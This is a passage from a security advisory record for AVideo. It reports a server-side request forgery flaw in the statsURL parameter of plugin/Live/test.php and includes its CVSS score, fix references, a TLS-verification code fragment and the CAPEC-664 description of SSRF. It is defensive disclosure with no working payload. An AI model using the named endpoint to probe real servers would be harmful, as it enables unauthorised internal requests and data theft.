\"verify_peer\" =\u003e true,\n \"verify_peer_name\" =\u003e true,\n \"allow_self_signed\" =\u003e false,\n],\n```",
"id": "GHSA-wxjx-r2j2-96fx",
"modified": "2026-03-25T19:53:55Z",
"published": "2026-03-25T19:53:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wxjx-r2j2-96fx"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/c95eafbdfccd5959c546a430c32fb3b6026f39ac"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: Full-Read SSRF Through Unvalidated statsURL Parameter in plugin/Live/test.php"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.